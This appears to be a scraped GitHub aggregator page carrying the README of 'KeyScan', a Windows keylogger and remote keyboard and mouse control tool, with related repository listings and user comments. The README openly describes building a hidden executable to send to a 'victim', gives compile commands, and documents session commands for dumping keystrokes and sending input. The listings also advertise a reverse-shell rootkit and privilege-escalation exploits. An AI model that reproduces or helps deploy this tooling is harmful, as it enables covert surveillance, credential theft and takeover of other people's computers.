KeyScan is a C++ open source explanation tool targeting windows operating system.

KeyScan

KeyScan is a C++ open source explanation tool targeting windows operating system. it allows you to send keyboard events, mouse events and capture keystrokes (keylogger).!

Before you keep on reading please support my hard work by leaving a star and follow up if you want me to keep creating hacking tools like this.!!

Disclaimer

It should be highly noted that this tool wasn't made with the intention to make or cause any damages or any illegal usage. By using KeyScan you accept that you'll be held responsible for improper usage and not the author.

Features

  • The program runs just like every other programs so no need to bypass any antivirus software or window defender ✅️ .
  • Control keyboard remotely ✅️ .
  • Control mouse remotely ✅️ .
  • Keylogging ✅️ .
  • Automatically hide the exe file on first run ✅️
  • The window is hidden to victim but still visible in the task manager. ✅️

Features working on

  • SSL/TLS ❌️
  • Shell features ❌️

How does it work.?!

In this repository, the folder keyscan contains the source codes that needs to be compiled before sending it to the victim. Just install the requirements and KeyScan will automatically compile it for you.!! When the victim opens the malicious executable file, the window will be invisible to the victim and the program will also make itself hidden (meaning it will make the executable file hidden). At the other side the attacker will be waiting for the victim to open the file, after opened, then a session is opened.

Platforms

  • Linux ✅️
  • Windows ✅️
  • Termux (Android) ✅️

Screenshots

test keyscan

Requirements

  • GCC and mingw-w64 on Linux and Termux
  • MinGW on Windows

Installation on Linux and Termux

git clone https://github.com/4anonz/KeyScan.git
cd KeyScan
g++ main.cpp -o keyscn
./keyscn

Installation on Windows

g++ main.cpp -o keyscn.exe -lws2_32
.\keyscn.exe

Sending the exe file to the victim

If you're working on Linux you need to install mingw for compiling C++ windows programs on linux. install it using:

sudo apt-get install mingw-w64

And on termux using:

git clone https://github.com/mirror/mingw-w64.git
cd mingw-w64
./configure --prefix=$PREFIX --without-crt
DESTDIR=$PREFIX make install

How to use KeyScan?.

Set the local ip and port number using these commands.

lhost ip
lport port number

Then type exploit and the program will generate the .exe file that needs be send to the victim.

KeyScan Commands

SETTING OPTIONS: Set this options before lauching the attack!
Command                           Discribtion
-------                           ------------
lhost                              Sets the local host or ip address to listen on.
lport                              Sets the local port number to listen on. default 4444
exploit                            Run the script.
help                               Print this help message
clear                              Clear screen
exit                               Exit program

SESSION COMMANDS: This commands are only valid when a session is opened
LOGGING KEYSTROKES:
====================
keyscan_start                      Start capturing keystrokes
keyscan_dump                       Dump the captured keystrokes buffer.
keyscan_stop                       Stop capturing keystrokes.
SENDING MOUSE EVENTS:
=====================
mouse_move x y                     Move the mouse to x and y coordinates. The value range of x and y is 0-65535
mouse_click left                   Left click
mouse_click right                  Right click
mouse_click middle                 Click the middle mouse button
mouse_click double                 Double click the left mouse button
SENDING KEYBOARD EVENTS:
========================
keyboard_send                      Send keystrokes. This must be followed by the keys(or text) you want to send
keyevent                           Send keyboard events. like CTRL+C, ALT+F4.
                                    you must use the '+' sign to indicate that the keys should be press together.
                                    for a single key just type the key name example 'keyevent SHIFT' to press the shift key.
Supported keyevents:
A-Z, F1-F12, SHIFT, ENTER, SPACE, BACKSPACE, ALT, ESC, PAGEUP, PAGEDOWN, HOME, LEFTARROW, RIGHTARROW, UPARROW
DOWNARROW, PRINTSCRN, INSERT, DELETE, CAPS
These values are case sensetive. You must use them in upper case except for A-Z(you can use them in upper or lower case).
EXAMPLES:
keyboard_send You have been hacked!
keyevent CTRL+c
keyevent ALT+F4
keyevent ENTER
tmouse_move 2345 345
mouse_click right

Author

Anonymous Hacks(4anoz) - I'm White Hat 😎️ .

Bugs Feedback & Suggestions

Please reports any bugs found, you can personally send me email Or facebook

Other repositories

DDoS script: https://github.com/4anonz/Flood Network packet sniffer: https://github.com/4anonz/packt SSH Auditing and brute force: https://github.com/4anonz/SSHCred

Owner
I'm Åñôñymøüs Håcks, I usually code in C and C++ and sometimes Python and Java, I'm good at network programming usually in C, C++ and Python
null
Similar Resources

An open source re-implementation of LEGO Rock Raiders 🪨⛏

OpenLRR An open source re-implementation of LEGO Rock Raiders (PC). This is created by slowly implementing and replacing game functionality, while rel

Oct 9, 2022

Open Source iOS 15 Jailbreak Project

Fugu Fugu is the first open source jailbreak tool based on the checkm8 exploit. UPDATE: Fugu will now install Sileo, SSH and Substitute automatically!

Nov 26, 2022

A C library for parsing/normalizing street addresses around the world. Powered by statistical NLP and open geo data.

A C library for parsing/normalizing street addresses around the world. Powered by statistical NLP and open geo data.

libpostal: international street address NLP libpostal is a C library for parsing/normalizing street addresses around the world using statistical NLP a

Nov 23, 2022

C-shellcode to hex converter, handy tool for paste & execute shellcodes in gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger & 010 editor

shellex WARNING: the ugliest code in the world C-shellcode to hex converter. Handy tool for paste & execute shellcodes in gdb, windbg, radare2, ollydb

Oct 21, 2022

Play Doh Windows ACL Tools

PDAcl 是一个支持Windows活动目录扩展权限设置、Windows活动目录常规权限设置、Windows服务权限设置的命令工具。

Oct 30, 2022

This project aims to facilitate debugging a kernel driver in windows by adding support for a code change on the fly without reboot/unload, and more!

This project aims to facilitate debugging a kernel driver in windows by adding support for a code change on the fly without reboot/unload, and more!

BSOD Survivor Tired of always telling yourself when you got a BSOD that what if I could just return to the caller function which caused the BSOD, and

Nov 12, 2022

Exploit for the RpcEptMapper registry key permissions vulnerability (Windows 7 / 2088R2 / 8 / 2012)

Exploit for the RpcEptMapper registry key permissions vulnerability (Windows 7 / 2088R2 / 8 / 2012)

Perfusion On Windows 7, Windows Server 2008R2, Windows 8, and Windows Server 2012, the registry key of the RpcEptMapper and DnsCache (7/2008R2 only) s

Nov 18, 2022

A tool to edit Cyberpunk 2077 sav.dat files

A tool to edit Cyberpunk 2077 sav.dat files

This is a holidays project and will probably not reach the user-friendly GUI state that a save editor is expected to have.

Nov 11, 2022

Open Data Description Language

Open Data Description Language This is the reference parser for the Open Data Description Language (OpenDDL), version 3.0. The official language speci

Nov 8, 2022
Comments
  • No more claims

    No more claims

    "can bypass any antivirus including windows 10 and windows 11 defender" "invisible"

    heuristics alone makes this relatively highly detected, you can get less detected by obfuscating an msf payload.

    Specifically Microsoft detects this on virus total, nothing in the code evades detection. At all.

    There is nothing in the programming of this to make it "fud", deviant generated every run, or anything that would give any relevance to the evading antivirus or "invisible" claim. On windows this program still runs like any other program, does not prevent it from showing in the task manager or netstat (look up 20 yr old rootkits for these techniques).

    Please stop putting false claims in your products.

  • Following linux installation steps fails due to obvious issues

    Following linux installation steps fails due to obvious issues

    LICENSE README.md keyscan main.cpp screenshots server ┌─[[email protected]]─[/KeyScan] └──╼ #g++ main.cpp -o keyscan /usr/bin/ld: cannot open output file keyscan: Is a directory collect2: error: ld returned 1 exit status

    suggested edit to instructions: g++ main.cpp -o keyscan.bin

Related tags
A LKM rootkit targeting 4.x and 5.x kernel versions which opens a backdoor that can be used to spawn a reverse shell to a remote host and more.
A LKM rootkit targeting 4.x and 5.x kernel versions which opens a backdoor that can be used to spawn a reverse shell to a remote host and more.

Umbra Umbra (/ˈʌmbrə/) is an experimental LKM rootkit for kernels 4.x and 5.x (up to 5.7) which opens a network backdoor that spawns reverse shells to

Nov 9, 2022
WinMerge is an Open Source differencing and merging tool for Windows.
WinMerge is an Open Source differencing and merging tool for Windows.

WinMerge is an Open Source differencing and merging tool for Windows. WinMerge can compare both folders and files, presenting differences in a visual text format that is easy to understand and handle.

Nov 16, 2022
Orbit, the Open Runtime Binary Instrumentation Tool, is a standalone C/C++ profiler for Windows and Linux
Orbit, the Open Runtime Binary Instrumentation Tool, is a standalone C/C++ profiler for Windows and Linux

Orbit, the Open Runtime Binary Instrumentation Tool, is a standalone C/C++ profiler for Windows and Linux. Its main purpose is to help developers visualize the execution flow of a complex application.

Nov 17, 2022
AlleyWind is an advanced Win32-based and open-sourced utility that helps you to manage system's windows
AlleyWind is an advanced Win32-based and open-sourced utility that helps you to manage system's windows

AlleyWind AlleyWind is an advanced Win32-based and open-sourced utility that helps you to manage system's windows. AlleyWind could: Displays a graphic

Oct 20, 2022
Windows user-land hooks manipulation tool.
Windows user-land hooks manipulation tool.

MineSweeper Windows user-land hooks manipulation tool. Highlights Supports any x64/x86 Windows DLL (actually, any x64/x86 Windows PE for that matter)

Oct 18, 2022
A windows tool for changing the start button logo
A windows tool for changing the start button logo

WinLogo About This project is used to modify the start button logo of windows 10 computers. The logos are precompiled into the binary, but the UI supp

Nov 15, 2022
Another system information tool written in C++
Another system information tool written in C++

Sysfex Another neofetch-like system information fetching tool for linux-based systems written in C++. This is a hobby project, so bugs are to be expec

Oct 30, 2022
A tool for use with clang to analyze #includes in C and C++ source files

Include What You Use For more in-depth documentation, see docs. Instructions for Users "Include what you use" means this: for every symbol (type, func

Nov 22, 2022
PANDA open source project

PANDA (Protocol And Network Datapath Acceleration) Protocol and Network Datapath Acceleration, or PANDA, is a software programming model, framework, s

Sep 7, 2022
cavi is an open-source library that aims to provide performant utilities for closed hierarchies (i.e. all class types of the hierarchy are known at compile time).

cavi cavi is an open-source library that aims to provide performant utilities for closed hierarchies (i.e. all class types of the hierarchy are known

Mar 9, 2022